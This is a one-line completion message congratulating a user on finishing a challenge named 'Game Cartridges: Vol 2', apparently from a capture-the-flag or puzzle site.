Congratulations! You have completed the Game Cartridges: Vol 2 challenge!